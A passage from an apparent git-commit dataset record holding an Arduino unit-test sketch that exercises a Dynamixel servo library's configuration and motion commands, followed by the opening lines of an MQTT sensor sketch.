while(Serial.read() == -1);\n\n Serial.println(\"DynamixelBus Unit Tests\\n\");\n\n dynamixel.begin(DynamixelBus::k1000000);\n \n \/\/ Must call this method to update internal state even\n \/\/ if the initial baud rate is incorrect as the DynamixelBus\n \/\/ initially assumes a state of kRespondToNone.\n dynamixel.setStatusReturnLevel(0xFE,DynamixelBus::kRespondToAll);\n\n Serial.println(\"Starting servo discovery...\\n\");\n dynamixel.setMaxRetriesOnError(4);\n size_t count = dynamixel.discover(&servoId,1,3);\n if (count == 0 || servoId == 0) {\n Serial.println(\"### No tests can be run because no servos were found!\");\n return;\n }\n Serial.println(\"Servo discovery complete.\\n\");\n\n \/\/ Bump up the retries to account for occasional bouts\n \/\/ communication errors that arise for some, as yet, unkown reason.\n dynamixel.setMaxRetriesOnError(8);\n\n \/\/ The discovery operation will have saved the servo's baud rate\n DynamixelBus::BaudRate baud;\n dynamixel.getBaudRate(servoId,baud);\n \n Serial.print(F(\"Servo #\"));\n Serial.print(servoId);\n Serial.print(F(\" baud=\"));\n Serial.println(baud);\n\n \/\/ Switch to the servo's baud rate\n dynamixel.begin(baud);\n\n \/\/ Uncomment the following two statements to change the servo baud rate\n \/\/ dynamixel.setBaudRate(servoId,DynamixelBus::k115200);\n \/\/ dynamixel.begin(DynamixelBus::k115200);\n\n \/\/ Instruct the servo to respond to all instructions for testing purposes\n dynamixel.setStatusReturnLevel(servoId,DynamixelBus::kRespondToAll);\n dynamixel.setLed(servoId,false);\n\n \/\/ Enable torque so the servo can move as required in some tests\n dynamixel.setTorqueLimit(servoId,DEFAULT_TORQUE_LIMIT);\n dynamixel.setAngleLimits(servoId,DEFAULT_MIN_ANGLE,DEFAULT_MAX_ANGLE);\n dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION);\n dynamixel.setGoalSpeed(servoId,DEFAULT_GOAL_SPEED);\n dynamixel.setTorqueEnable(servoId,true);\n\n \/\/ Uncomment the following to reset triggers to desired values\n \/\/ dynamixel.setAlarmLedTriggers(servoId,DynamixelBus::kOverloadError | DynamixelBus::kTemperatureLimitError);\n \/\/ dynamixel.setAlarmShutdownTriggers(servoId,DynamixelBus::kOverloadError | DynamixelBus::kTemperatureLimitError);\n\n\n \/\/ Now capture the current state of the servo..\n \/\/ (No guarantee every one of these calls will succeed!)\n\n uint16_t servoModelNumber = 12;\n uint8_t servoFirmwareVersion = 0;\n uint16_t servoReturnDelayTime = 0;\n uint8_t servoTemperatureLimit = 0;\n uint16_t servoLowVoltageLimit = 0;\n uint16_t servoHighVoltageLimit = 0;\n uint16_t servoInitialTorqueLimit = 0;\n uint8_t servoAlarmLedTriggers = 0;\n uint8_t servoAlarmShutdownTriggers = 0;\n bool servoTorqueEnable = false;\n uint8_t servoCWComplianceMargin = 0;\n uint8_t servoCCWComplianceMargin = 0;\n uint8_t servoCWComplianceSlope = 0;\n uint8_t servoCCWComplianceSlope = 0;\n uint16_t servoGoalPosition = 0;\n uint16_t servoGoalSpeed = 0;\n uint16_t servoTorqueLimit = 0;\n uint16_t servoPresentPosition = 0;\n uint16_t servoPresentSpeed = 0;\n uint16_t servoPresentLoad = 0;\n uint8_t servoPresentLoadDirection = 0;\n uint16_t servoPresentVoltage = 0;\n uint8_t servoPresentTemperature = 0;\n bool servoLock = false;\n uint16_t servoPunch = 0;\n\n dynamixel.getModelNumber(servoId,servoModelNumber);\n dynamixel.getFirmwareVersion(servoId,servoFirmwareVersion);\n dynamixel.getReturnDelayTime(servoId,servoReturnDelayTime);\n dynamixel.getAngleLimits(servoId,servoMinAngle,servoMaxAngle);\n dynamixel.getTemperatureLimit(servoId,servoTemperatureLimit);\n dynamixel.getVoltageLimits(servoId,servoLowVoltageLimit,servoHighVoltageLimit);\n dynamixel.getInitialTorqueLimit(servoId,servoInitialTorqueLimit);\n dynamixel.getAlarmLedTriggers(servoId,servoAlarmLedTriggers);\n dynamixel.getAlarmShutdownTriggers(servoId,servoAlarmShutdownTriggers);\n dynamixel.getTorqueEnable(servoId,servoTorqueEnable);\n dynamixel.getComplianceMargins(servoId,servoCWComplianceMargin,servoCCWComplianceMargin);\n dynamixel.getComplianceSlopes(servoId,servoCWComplianceSlope,servoCCWComplianceSlope);\n dynamixel.getGoalPosition(servoId,servoGoalPosition);\n dynamixel.getGoalSpeed(servoId,servoGoalSpeed);\n dynamixel.getTorqueLimit(servoId,servoTorqueLimit);\n dynamixel.getLock(servoId,servoLock);\n dynamixel.getPunch(servoId,servoPunch);\n dynamixel.getPresentPosition(servoId,servoPresentPosition);\n dynamixel.getPresentSpeed(servoId,servoPresentSpeed);\n dynamixel.getPresentLoad(servoId,servoPresentLoadDirection,servoPresentLoad);\n dynamixel.getPresentVoltage(servoId,servoPresentVoltage);\n dynamixel.getPresentTemperature(servoId,servoPresentTemperature);\n \n Serial.println(F(\"Executing tests using following servo:\\n\"));\n Serial.print(F(\"Servo ID = \"));\n Serial.println(servoId);\n Serial.print(F(\": Baud Rate index = \"));\n Serial.println(baud);\n Serial.print(F(\": Model Number = \"));\n Serial.println(servoModelNumber);\n Serial.print(F(\": Firmware Version = \"));\n Serial.println(servoFirmwareVersion);\n Serial.print(F(\": Return Delay Time (usec) = \"));\n Serial.println(servoReturnDelayTime);\n Serial.print(F(\": Angle Limits: cw = \"));\n Serial.print(servoMinAngle);\n Serial.print(F(\"\/1023 (\"));\n Serial.print((servoMinAngle * 300L \/ 1023));\n Serial.print(F(\"\u00b0) ccw = \"));\n Serial.print(servoMaxAngle);\n Serial.print(F(\"\/1023 (\"));\n Serial.print((servoMaxAngle * 300L \/ 1023));\n Serial.println(\"\u00b0)\");\n Serial.print(F(\": Temperature Limit (C) = \"));\n Serial.println(servoTemperatureLimit);\n Serial.print(F(\": Voltage Limits (V): low = \"));\n Serial.print(servoLowVoltageLimit\/1000.0);\n Serial.print(F(\" high = \"));\n Serial.println(servoHighVoltageLimit\/1000.0);\n Serial.print(F(\": Initial Torque Limit (EEPROM) = \"));\n Serial.print(servoInitialTorqueLimit);\n Serial.println(F(\"\/1023\"));\n Serial.print(F(\": Alarm LED Errors: \"));\n if (servoAlarmLedTriggers & DynamixelBus::kInstructionError) Serial.print(F(\"instruction, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kOverloadError) Serial.print(F(\"overload, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kChecksumError) Serial.print(F(\"checksum, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kRangeError) Serial.print(F(\"range, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kTemperatureLimitError) Serial.print(F(\"temperature, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kAngleLimitError) Serial.print(F(\"angle, \"));\n if (servoAlarmLedTriggers & DynamixelBus::kVoltageLimitError) Serial.print(F(\"voltage\"));\n Serial.println();\n Serial.print(F(\": Alarm Shutdown Errors: \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kInstructionError) Serial.print(F(\"instruction, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kOverloadError) Serial.print(F(\"overload, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kChecksumError) Serial.print(F(\"checksum, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kRangeError) Serial.print(F(\"range, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kTemperatureLimitError) Serial.print(F(\"temperature, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kAngleLimitError) Serial.print(F(\"angle, \"));\n if (servoAlarmShutdownTriggers & DynamixelBus::kVoltageLimitError) Serial.print(F(\"voltage\"));\n\n Serial.println();\n Serial.print(F(\": Torque Enable = \"));\n Serial.println(servoTorqueEnable ? F(\"true\") : F(\"false\"));\n Serial.print(F(\": Compliance Margins: cw = \"));\n Serial.print(servoCWComplianceMargin);\n Serial.print(F(\" ccw = \"));\n Serial.println(servoCCWComplianceMargin);\n Serial.print(F(\": Compliance Slopes: cw = \"));\n Serial.print(servoCWComplianceSlope);\n Serial.print(F(\" ccw = \"));\n Serial.println(servoCCWComplianceSlope);\n Serial.print(F(\": Goal Position = \"));\n Serial.print(servoGoalPosition);\n Serial.println(F(\"\/1023\"));\n Serial.print(F(\": Goal Speed = \"));\n Serial.print(servoGoalSpeed);\n Serial.println(F(\"\/1023\"));\n Serial.print(F(\": Torque Limit (RAM) = \"));\n Serial.print(servoTorqueLimit);\n Serial.println(F(\"\/1023\"));\n Serial.print(F(\": Present Position = \"));\n Serial.println(servoPresentPosition);\n Serial.print(F(\": Present Speed = \"));\n Serial.println(servoPresentSpeed);\n Serial.print(F(\": Present Load = \"));\n Serial.print(servoPresentLoad);\n Serial.print(F(\" direction = \"));\n Serial.println(servoPresentLoadDirection);\n Serial.print(F(\": Present Voltage (Mv) = \"));\n Serial.println(servoPresentVoltage);\n Serial.print(F(\": Present Temperature (C) = \"));\n Serial.println(servoPresentTemperature);\n Serial.print(F(\": Lock = \"));\n Serial.println(servoLock ? F(\"true\") : F(\"false\"));\n Serial.print(F(\": Punch = \"));\n Serial.print(servoPunch);\n Serial.println(F(\"\/1023\"));\n Serial.println();\n\n \/\/ Select tests (that are included by the preprocessor)\n Test::exclude(\"ModelNumber_*\");\n switch (servoModelNumber) {\n#if TEST_MODELNUMBER_AX12 == TRUE\n case 12: Test::include(\"ModelNumber_AX12\"); break;\n#endif\n }\n\n}\n\n#if TEST_PING == TRUE\ntest(Ping) {\n assertTrue(dynamixel.ping(servoId));\n assertFalse(dynamixel.ping(253));\n}\n#endif\n\n#if TEST_MODELNUMBER_AX12 == TRUE\ntest(ModelNumberAX12) {\n uint16_t getModelNumber = 0;\n assertEqual(dynamixel.getModelNumber(servoId,getModelNumber),DynamixelBus::kOk);\n assertEqual(getModelNumber,12);\n}\n#endif\n\n#if TEST_FIRMWAREVERSION_AX12 == TRUE\ntest(FirmwareVersion_AX12) {\n uint8_t getVersion = 0;\n assertEqual(dynamixel.getFirmwareVersion(servoId,getVersion),DynamixelBus::kOk);\n assertMore(getVersion,0);\n}\n#endif\n\n#if TEST_DISCOVER == TRUE\ntest(Discover) {\n uint8_t id;\n size_t count = dynamixel.discover(&id,1,servoId+1);\n assertTrue(count > 0);\n assertEqual(servoId,id);\n}\n#endif\n\n#if TEST_BAUD_RATE == TRUE\ntest(BaudRate) {\n DynamixelBus::BaudRate currentBaud = DynamixelBus::kUnknown;\n dynamixel.getBaudRate(servoId,currentBaud);\n DynamixelBus::BaudRate putBaud = DynamixelBus::k115200;\n if (currentBaud == putBaud) putBaud = DynamixelBus::k57600;\n assertEqual(dynamixel.setBaudRate(servoId,putBaud),DynamixelBus::kOk);\n DynamixelBus::BaudRate getBaud = DynamixelBus::kUnknown;\n uint8_t error = dynamixel.getBaudRate(servoId,getBaud);\n if (error) {\n dynamixel.setBaudRate(servoId,currentBaud);\n fail();\n }\n assertTrue(putBaud == getBaud);\n dynamixel.setBaudRate(servoId,currentBaud);\n}\n#endif\n\n#if TEST_RETURN_DELAY_TIME == TRUE\ntest(ReturnDelayTime) {\n uint16_t currentReturnDelayTime = 0;\n assertEqual(dynamixel.getReturnDelayTime(servoId,currentReturnDelayTime),DynamixelBus::kOk);\n \/\/Serial.print(\"current return delay time: \");\n \/\/Serial.println(currentReturnDelayTime);\n uint16_t putReturnDelayTime = (currentReturnDelayTime + 256) \/ 2;\n assertEqual(dynamixel.setReturnDelayTime(servoId,putReturnDelayTime),DynamixelBus::kOk);\n \/\/Serial.print(\"put return delay time: \");\n \/\/Serial.println(putReturnDelayTime);\n uint16_t getReturnDelayTime = -1;\n assertEqual(dynamixel.getReturnDelayTime(servoId,getReturnDelayTime),DynamixelBus::kOk);\n \/\/Serial.print(\"get return delay time: \");\n \/\/Serial.println(getReturnDelayTime);\n assertTrue(putReturnDelayTime == getReturnDelayTime);\n assertEqual(dynamixel.setReturnDelayTime(servoId,currentReturnDelayTime),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_ANGLE_LIMITS == TRUE\ntest(AngleLimits) \n{\n\n uint16_t currentMinAngleLimit = 0;\n uint16_t currentMaxAngleLimit = 0;\n\n assertEqual(dynamixel.getAngleLimits(servoId,currentMinAngleLimit,currentMaxAngleLimit),DynamixelBus::kOk);\n\n uint16_t offset = (currentMaxAngleLimit - currentMinAngleLimit) \/ 3;\n uint16_t putMinAngleLimit = currentMinAngleLimit + offset;\n uint16_t putMaxAngleLimit = currentMaxAngleLimit - offset;\n\n assertEqual(dynamixel.setAngleLimits(servoId,putMinAngleLimit,putMaxAngleLimit),DynamixelBus::kOk);\n\n uint16_t getMinAngleLimit = 0;\n uint16_t getMaxAngleLimit = 0;\n\n delay(18);\n\n assertEqual(dynamixel.getAngleLimits(servoId,getMinAngleLimit,getMaxAngleLimit),DynamixelBus::kOk);\n assertTrue(getMinAngleLimit == putMinAngleLimit);\n assertTrue(getMaxAngleLimit == putMaxAngleLimit);\n\n assertEqual(dynamixel.setAngleLimits(servoId,currentMinAngleLimit,currentMaxAngleLimit),DynamixelBus::kOk);\n \n}\n#endif\n\n#if TEST_TEMPERATURE_LIMIT == TRUE\ntest(TemperatureLimit) {\n uint8_t currentTemperatureLimit = 0;\n assertEqual(dynamixel.getTemperatureLimit(servoId,currentTemperatureLimit),DynamixelBus::kOk);\n\n \/\/ This value will probaby trigger the temperature limit alarms if enabled\n uint8_t putTemperatureLimit = currentTemperatureLimit \/ 2;\n assertEqual(dynamixel.setTemperatureLimit(servoId,putTemperatureLimit),DynamixelBus::kOk);\n\n uint8_t getTemperatureLimit = 0;\n assertEqual(dynamixel.getTemperatureLimit(servoId,getTemperatureLimit),DynamixelBus::kOk);\n assertEqual(putTemperatureLimit,getTemperatureLimit);\n\n assertEqual(dynamixel.setTemperatureLimit(servoId,currentTemperatureLimit),DynamixelBus::kOk);\n \n}\n#endif\n\n#if TEST_VOLTAGE_LIMITS == TRUE\ntest(VoltageLimits) {\n uint16_t currentMinVoltageLimit = 0;\n uint16_t currentMaxVoltageLimit = 0;\n\n assertEqual(dynamixel.getVoltageLimits(servoId,currentMinVoltageLimit,currentMaxVoltageLimit),DynamixelBus::kOk);\n\n uint16_t offset = (currentMaxVoltageLimit - currentMinVoltageLimit) \/ 3;\n uint16_t putMinVoltageLimit = ((currentMinVoltageLimit + offset) \/ 100) * 100;\n uint16_t putMaxVoltageLimit = ((currentMaxVoltageLimit - offset) \/ 100) * 100;\n\n assertEqual(dynamixel.setVoltageLimits(servoId,putMinVoltageLimit,putMaxVoltageLimit),DynamixelBus::kOk);\n\n uint16_t getMinVoltageLimit = 0;\n uint16_t getMaxVoltageLimit = 0;\n\n assertEqual(dynamixel.getVoltageLimits(servoId,getMinVoltageLimit,getMaxVoltageLimit),DynamixelBus::kOk);\n assertEqual(putMinVoltageLimit,getMinVoltageLimit);\n assertEqual(putMaxVoltageLimit,getMaxVoltageLimit);\n\n assertEqual(dynamixel.setVoltageLimits(servoId,DEFAULT_MIN_VOLTAGE,DEFAULT_MAX_VOLTAGE),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_INITIAL_TORQUE_LIMIT == TRUE\ntest(InitialTorqueLimit) {\n uint16_t currentInitialTorqueLimit = 0;\n assertEqual(dynamixel.getInitialTorqueLimit(servoId,currentInitialTorqueLimit),DynamixelBus::kOk);\n\n uint16_t putInitialTorquLimit = currentInitialTorqueLimit \/ 2;\n assertEqual(dynamixel.setInitialTorqueLimit(servoId,putInitialTorquLimit),DynamixelBus::kOk);\n\n uint16_t getInitialTorquLimit = 0;\n assertEqual(dynamixel.getInitialTorqueLimit(servoId,getInitialTorquLimit),DynamixelBus::kOk);\n assertEqual(putInitialTorquLimit,getInitialTorquLimit);\n\n assertEqual(dynamixel.setInitialTorqueLimit(servoId,currentInitialTorqueLimit),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_STATUS_RETURN_LEVEL == TRUE\ntest(StatusReturnLevel) \n{\n uint8_t error = 0;\n uint8_t currentStatusReturnLevel = DynamixelBus::kRespondToNone;\n uint8_t putStatusReturnLevel = DynamixelBus::kRespondToRead;\n uint8_t getStatusReturnLevel = DynamixelBus::kRespondToNone;\n\n assertEqual(dynamixel.getStatusReturnLevel(servoId,currentStatusReturnLevel),DynamixelBus::kOk);\n assertEqual(dynamixel.setStatusReturnLevel(servoId,putStatusReturnLevel),DynamixelBus::kOk);\n assertEqual(dynamixel.getStatusReturnLevel(servoId,getStatusReturnLevel),DynamixelBus::kOk);\n assertEqual(putStatusReturnLevel,getStatusReturnLevel);\n\n putStatusReturnLevel = DynamixelBus::kRespondToAll;\n getStatusReturnLevel = DynamixelBus::kRespondToNone;\n\n assertEqual(dynamixel.setStatusReturnLevel(servoId,currentStatusReturnLevel),DynamixelBus::kOk);\n assertEqual(dynamixel.getStatusReturnLevel(servoId,getStatusReturnLevel),DynamixelBus::kOk);\n assertEqual(getStatusReturnLevel,currentStatusReturnLevel);\n}\n#endif\n\n#if TEST_ALARM_LED == TRUE\ntest(AlarmLed) {\n uint8_t currentAlarmLed = 0;\n uint8_t putAlarmLed = 0x7F;\n assertEqual(dynamixel.getAlarmLedTriggers(servoId,currentAlarmLed),DynamixelBus::kOk);\n assertEqual(dynamixel.setAlarmLedTriggers(servoId,putAlarmLed),DynamixelBus::kOk);\n uint8_t getAlarmLed = 0;\n assertEqual(dynamixel.getAlarmLedTriggers(servoId,getAlarmLed),DynamixelBus::kOk);\n assertEqual(putAlarmLed,getAlarmLed);\n assertEqual(dynamixel.setAlarmLedTriggers(servoId,currentAlarmLed),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_ALARM_SHUTDOWN == TRUE\ntest(AlarmShutdown) {\n uint8_t currentAlarmShutdown = 0;\n uint8_t putAlarmShutdown = 0x7F;\n assertEqual(dynamixel.getAlarmShutdownTriggers(servoId,currentAlarmShutdown),DynamixelBus::kOk);\n assertEqual(dynamixel.setAlarmShutdownTriggers(servoId,putAlarmAlarmShutdown),DynamixelBus::kOk);\n uint8_t getAlarmShutdown = 0;\n assertEqual(dynamixel.getAlarmShutdownTriggers(servoId,getAlarmShutdown),DynamixelBus::kOk);\n assertEqual(putAlarmShutdown,getAlarmShutdown);\n assertEqual(dynamixel.setAlarmShutdownTriggers(servoId,currentAlarmShutdown),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_TORQUE_ENABLE == TRUE\ntest(TorqueEnable) {\n assertEqual(dynamixel.setTorqueEnable(servoId,false),DynamixelBus::kOk);\n bool getTorqueEnable = true;\n assertEqual(dynamixel.getTorqueEnable(servoId,getTorqueEnable),DynamixelBus::kOk);\n assertTrue(getTorqueEnable);\n assertEqual(dynamixel.setTorqueEnable(servoId,true),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_LED == TRUE\ntest(Led) {\n bool currentLed = false;\n assertEqual(dynamixel.getLed(servoId,currentLed), DynamixelBus::kOk);\n for (size_t i=0; i < 10; i++) {\n assertEqual(dynamixel.setLed(servoId,i & 0x1), DynamixelBus::kOk);\n delay(100);\n }\n assertEqual(dynamixel.setLed(servoId,!currentLed), DynamixelBus::kOk);\n bool getLed = false;\n assertEqual(dynamixel.getLed(servoId,getLed), DynamixelBus::kOk);\n assertTrue(currentLed != getLed);\n assertEqual(dynamixel.setLed(servoId,currentLed), DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_COMPLIANCE_MARGINS == TRUE\ntest(ComplianceMargins) {\n\n uint8_t currentCWComplianceMargin = 0;\n uint8_t currentCCWComplianceMargin = 0;\n assertEqual(dynamixel.getComplianceMargins(servoId,currentCWComplianceMargin,currentCCWComplianceMargin),DynamixelBus::kOk);\n\n uint8_t putCWComplianceMargin = 24;\n uint8_t putCCWComplianceMargin = 12;\n assertEqual(dynamixel.setComplianceMargins(servoId,putCWComplianceMargin,putCCWComplianceMargin),DynamixelBus::kOk);\n\n assertEqual(dynamixel.setTorqueLimit(servoId,0x3FF),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalSpeed(servoId,0x3FF),DynamixelBus::kOk);\n assertEqual(dynamixel.setPunch(servoId,0xFF),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION),DynamixelBus::kOk);\n delay(100);\n bool isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n uint16_t targetPosition = servoMinAngle; \/\/ + putCWComplianceMargin;\n \n assertEqual(dynamixel.setGoalPosition(servoId,targetPosition),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n uint16_t actualPosition = 0;\n\n assertEqual(dynamixel.getPresentPosition(servoId,actualPosition),DynamixelBus::kOk);\n int offset = actualPosition - targetPosition;\n offset = abs(offset);\n assertLessOrEqual(offset,putCWComplianceMargin);\n\n targetPosition = servoMaxAngle;\/\/ - putCCWComplianceMargin;\n\n assertEqual(dynamixel.setGoalPosition(servoId,targetPosition),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.getPresentPosition(servoId,actualPosition),DynamixelBus::kOk);\n offset = actualPosition - targetPosition;\n offset = abs(offset);\n assertLessOrEqual(offset,putCCWComplianceMargin);\n\n assertEqual(dynamixel.setTorqueLimit(servoId,DEFAULT_TORQUE_LIMIT),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalSpeed(servoId,DEFAULT_GOAL_SPEED),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION),DynamixelBus::kOk);\n assertEqual(dynamixel.setPunch(servoId,DEFAULT_PUNCH),DynamixelBus::kOk);\n \n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.setComplianceMargins(servoId,currentCWComplianceMargin,currentCCWComplianceMargin),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_COMPLIANCE_SLOPES == TRUE\ntest(ComplianceSlopes) {\n\n uint8_t currentCWComplianceSlope = 0;\n uint8_t currentCCWComplianceSlope = 0;\n assertEqual(dynamixel.getComplianceSlopes(servoId,currentCWComplianceSlope,currentCCWComplianceSlope),DynamixelBus::kOk);\n\n uint8_t putCWComplianceSlope = 0xFE;\n uint8_t putCCWComplianceSlope = 0xFE;\n assertEqual(dynamixel.setComplianceSlopes(servoId,putCWComplianceSlope,putCCWComplianceSlope),DynamixelBus::kOk);\n\n uint8_t getCWComplianceSlope = 0x0;\n uint8_t getCCWComplianceSlope = 0x0;\n assertEqual(dynamixel.getComplianceSlopes(servoId,getCWComplianceSlope,getCCWComplianceSlope),DynamixelBus::kOk);\n assertEqual(putCWComplianceSlope,getCWComplianceSlope);\n assertEqual(putCCWComplianceSlope,getCCWComplianceSlope);\n\n assertEqual(dynamixel.setTorqueLimit(servoId,0x3FF),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalSpeed(servoId,0x3FF),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION),DynamixelBus::kOk);\n delay(100);\n bool isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n uint16_t targetPosition = servoMinAngle;\n assertEqual(dynamixel.setGoalPosition(servoId,targetPosition),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n targetPosition = servoMaxAngle;\n assertEqual(dynamixel.setGoalPosition(servoId,servoMaxAngle),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.setTorqueLimit(servoId,DEFAULT_TORQUE_LIMIT),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalSpeed(servoId,DEFAULT_GOAL_SPEED),DynamixelBus::kOk);\n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.setComplianceSlopes(servoId,currentCWComplianceSlope,currentCCWComplianceSlope),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_GOAL_POSITION == TRUE\ntest(GoalPosition) \n{\n uint16_t putPosition = servoMinAngle;\n uint16_t getPosition = 0;\n\n if (putPosition < servoMinAngle) putPosition = servoMinAngle;\n else if (putPosition > servoMaxAngle) putPosition = servoMaxAngle;\n\n assertEqual(dynamixel.setGoalPosition(servoId,putPosition),DynamixelBus::kOk);\n delay(100);\n bool isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.getGoalPosition(servoId,getPosition),DynamixelBus::kOk);\n assertEqual(putPosition,getPosition);\n\n assertEqual(dynamixel.setGoalPosition(servoId,512),DynamixelBus::kOk);\n delay(100);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n}\n#endif\n\n#if TEST_GOAL_SPEED == TRUE\ntest(GoalSpeed) \n{\n uint16_t putSpeed = millis() & 0x3FF;\n uint16_t getSpeed = 0;\n\n assertEqual(dynamixel.setGoalSpeed(servoId,putSpeed),DynamixelBus::kOk);\n assertEqual(dynamixel.getGoalSpeed(servoId,getSpeed),DynamixelBus::kOk);\n assertEqual(putSpeed,getSpeed);\n}\n#endif\n\n#if TEST_TORQUE_LIMIT == TRUE\ntest(TorqueLimit) {\n uint16_t currentTorqueLimit = 0;\n assertEqual(dynamixel.getTorqueLimit(servoId,currentTorqueLimit),DynamixelBus::kOk);\n\n uint16_t putTorquLimit = currentTorqueLimit \/ 2;\n assertEqual(dynamixel.setTorqueLimit(servoId,putTorquLimit),DynamixelBus::kOk);\n\n uint16_t getTorquLimit = 0;\n assertEqual(dynamixel.getTorqueLimit(servoId,getTorquLimit),DynamixelBus::kOk);\n assertEqual(putTorquLimit,getTorquLimit);\n\n assertEqual(dynamixel.setTorqueLimit(servoId,currentTorqueLimit),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_PRESENT_STATE == TRUE\ntest(PresentState) {\n uint16_t servoPresentPosition = 0;\n uint16_t servoPresentSpeed = 0;\n uint16_t servoPresentLoad = 0;\n uint8_t servoPresentLoadDirection = 0;\n uint16_t servoPresentVoltage = 0;\n uint8_t servoPresentTemperature = 0;\n assertEqual(dynamixel.getPresentPosition(servoId,servoPresentPosition),DynamixelBus::kOk);\n assertEqual(dynamixel.getPresentSpeed(servoId,servoPresentSpeed),DynamixelBus::kOk);\n assertEqual(dynamixel.getPresentLoad(servoId,servoPresentLoadDirection,servoPresentLoad),DynamixelBus::kOk);\n assertEqual(dynamixel.getPresentVoltage(servoId,servoPresentVoltage),DynamixelBus::kOk);\n assertEqual(dynamixel.getPresentTemperature(servoId,servoPresentTemperature),DynamixelBus::kOk);\n}\n#endif\n\n#if TEST_REGISTERED_INSTRUCTION == TRUE\ntest(RegisteredInstruction) {\n fail();\n}\n#endif\n\n#if TEST_MOVING == TRUE\ntest(Moving) {\n\n bool isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n\n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_MIN_ANGLE),DynamixelBus::kOk);\n delay(10);\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n assertTrue(isMoving);\n delay(100);\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n \n assertEqual(dynamixel.setGoalPosition(servoId,DEFAULT_GOAL_POSITION),DynamixelBus::kOk);\n isMoving = true;\n while(isMoving) {\n assertEqual(dynamixel.getMoving(servoId,isMoving),DynamixelBus::kOk);\n delay(100);\n }\n}\n#endif\n\n#if TEST_LOCK == TRUE\ntest(Lock) {\n \n}\n#endif\n\n#if TEST_PUNCH == TRUE\ntest(Punch) {\n\n uint16_t currentPunch = 0;\n assertEqual(dynamixel.getPunch(servoId,currentPunch),DynamixelBus::kOk);\n\n uint16_t putPunch = DEFAULT_PUNCH \/ 2;\n assertEqual(dynamixel.setPunch(servoId,putPunch),DynamixelBus::kOk);\n \n uint16_t getPunch = 0;\n assertEqual(dynamixel.getPunch(servoId,getPunch),DynamixelBus::kOk);\n assertEqual(putPunch,getPunch);\n\n assertEqual(dynamixel.setPunch(servoId,DEFAULT_PUNCH),DynamixelBus::kOk);\n}\n#endif\n\n\nvoid loop() {\n if (servoId != 0) Test::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DynamixelBusTest\/DynamixelBusTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8ac8efbb4fe5b0139b7f3783b91011bd2ceb0bef","subject":"Create dragino_sht11_mqtt.ino","message":"Create dragino_sht11_mqtt.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rr\/dragino_sht11_mqtt.ino","new_file":"rr\/dragino_sht11_mqtt.ino","new_contents":"#include <Process.h>\n#include \"MQTTclient.h\"\n#include \"DHT.h\"\n#include <OneWire.h> 